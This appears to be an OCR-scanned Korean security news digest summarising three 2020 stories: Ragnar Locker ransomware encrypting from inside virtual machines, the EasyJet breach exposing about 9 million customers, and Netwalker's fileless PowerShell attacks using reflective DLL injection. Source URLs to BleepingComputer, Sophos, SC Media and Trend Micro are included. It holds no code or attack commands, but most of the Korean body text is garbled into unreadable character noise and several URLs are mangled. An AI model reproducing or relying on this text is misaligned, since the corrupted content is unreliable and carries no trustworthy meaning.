[EX] https:/ /www.bleepingcomputer.com/news/security/ ransomware—encrypts-from-virtual-machines-to-evade-antivirus/

https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware—deploys-virtual-machine—to-dodge—security/
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Easyjet ofiZ): 9 gt 1124 C|O|E| R=

EasyJet hacked: data breach affects 9 million customers

B |Tf SEBAIQI Easylet O] 24 AKIZ BIHGH0H 9 2t 1240 OJI A0k 033 Hki7} QBT HRCE

SRR Ut THO| MG 71 HEOIIX| THRE 4 U HOR LIEKITH
Easyt £ 38 CIOIE 5 SXIS S Aol A LOM X 3 X} HOR A 228 < 22
YIRCE B2AK 0| B22 S5 9 It 20| OJY A0k Of MO TRE 4 AUSICH T2 o 2208 O

*._15015’ = g ot = ESERIC

“ZAO| T THRK= OF 9 HBt 24| 0| FAQF Of2 H0| HIACH YUS WS THS B L 22

WS ZHOICE SIS HX| QUUS B ool HE SEEIX| 942 HOICE OFY HiiofM Aer 1242 Fiejst Ci2

T240] Of RO ASTIE Hui SIS WR| QIQICH A ZAL 2T T2 2208 BO| AIS7IE Mt Eie
= 7

HIQ 7402 LIENICE Sk B2 E NZH| kS o XSt ACE”
Easylet 2 32 AJAIS 974 § F=2O| NCSC(National Gyber Security Centre)2t ICO O 0|2 AIRHCE EESHO| AFLI0

UFIS U2 THSS 202011 5 Y 26 WIK| DS UYS L2 2O} SR

Easyjet 1240|242 O{ZH) 5H0F &7}
Easylet © T1740[1 E0| HHEPIL} YL WS S OFY ZXIS ZsHor SICh 013 MO} O[HY FAT}

LEEQT] R0 01F &E¢t Bl O|HY Tjye] 54 Tilo] 2 4 ULt oY & O[S E= E2, 2o

O - o
SGHK| LT easyjetcom Off Z T4510] SIS Sofl MES SQIGH0F BiCt AIRTIE MEUt LEE M
A1 27 Eilioh=X] ek EI—IE1E'0H0F oI}, 2Iof Of&fet RES UHMS ER SAl LAI6k= 0| BCt Eat
LEFIE 2M0]| ol dets Aol M A87IE W HMSE Eh= 0| QRISICY,

[EX]] https:/ /www.bleepingcomputer.com/news/security/easyjet-hacked-data—breach-affects-9-million—customers/
http://otp.investis.com/clients/uk/easyjet1/ms/regulatory-story.aspx?cid=2&newsid=1391756
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Netwalker 24901, =X UX[ol7] floll TR TIE ARS

Netwalker ransomware actors go fileless to make attacks untraceable

SAXIE0| EXNE H7[X| L1 DIGHAIE Netwalker HHEYI00] ZEAI7 (7] o MUZ|A QFITE 7[=21 HEAL DLL
QMM (Reflected DLL injection)2 ALE8H2 2= LIEIGICE Trend Micro 2| I8 2447121 Karen Victor = 3217+
OMMTCE AIRIZIGH C|AT 0| XZlok= CHAl PowerShell Off ZH36104 HIZ20flA 21K AGHSHC I BIACT

‘0] 7[=2 LMol DLL QIEIMELL S 25| O|F0ZICE &K DLL IO0| CIATO| ZEXHSEK| S0te |,
ZUS 25l 20 &0| LQSIX| ¢7| THZO|C} O|2M DLL S Z2MAC| ZEE REZ SE5}X| Q0T | DLL
2C DLEE £2 238 & U0t 2HMY0l= KIFIZM ZZ0]| I 21810] EICH 0] 3240] MU0| Q= MEHZ
0|R01E 42 03I s8%C= HXIE IOloll! XEds RAIE = ULk 0l2st 4 FA=2 ToHKA H-t

ISHE QU2 4 YO0, =77t R BSC

A 2 SC Media 1= 2019 11 7H5 QT Ol 5 SILIZ TIAU2|A OHTIE AIS0| BUNOE STRICK= 212
EQITH Trend Mico = 2018 1 AlS17 |9} HITSHS Th 2019 13 A7 |0f S 0] 265%Lt 5714HCHD Bt
Trend Mico = EfX| 2 2442 msl7| 2Js Ransom.PST.NETWALKERB PowerShell AFZET} LIS 253}
=5} Q1T Bl OOl SOIURACKT YTt GRS ST OTEI} AES 05 o 32 HIE X 23
2j0]=212191 kemell32.ll &) APl Z4 ORHofl SSTET} QIRIGH HIZ2| FAS Akt 4 QUCHT HCH

ol

‘Olzfet HAlo2 0| AFEEE= DLL 9 HAE 20 et SiTt M2kA Loadlibrary 7[S2 AtEdh= U0
SIEQR 27} LQSIK| it AFEEE DLLE HMtHZ 2E617| Yo LS H|Z2| FAS XIF AHlAt 2l JHHiX[Sh=
20| 7kS3ICE O3 ChE FUE D2MAE XPYSICE 0] 2R Ad F01 2= BMY| DEHAE =L} 0|
explorer.exe 2| H22| SZH0| HHMY|0| DLL S £ = Aldliet A0|Ct”

CI2 Netwalker HE1 OIX|Z Ransom.PSTNETWALKERB EESH 6 A12| #HH 2XIS S8l ARXA OIS
US3IGIL A LES LIPS S0 E=S6ICt E5t M S8 SAIES AXGIL UiQ) ADEQ0] L|O|E 2HH
OHE2[AH0|M, Hot ADEQH § &Y DEMAR} MHIAE BESICL HLHUE2 PowerShell 22 7152 Sall
OMAMR EH=Z2 HLIEESHT (onstrainedLanguageMode PowerShell HES ARSI H7|XOZE AAHIS
QIS ATEQN IHXIE XESk= S Mi2|A 0| thfolz| s 710N Fg +~ U= 2 7| WiHs

AL X Z0M= s 2 HZ01| CHol Trojan.Ransom.Powershell 2 HX| S| ALY,

[EX|nttps:/ /mww.scmagazine.com/home/security-news/ransomware/ netwalker-ransomware-actors-go-fileless—to-make-attacks-
untraceable/

https://blog trendmicro.com/trendlabs—security-intelligence/ netwalkerfileless-ransomware-injected-via—reflective-loading/
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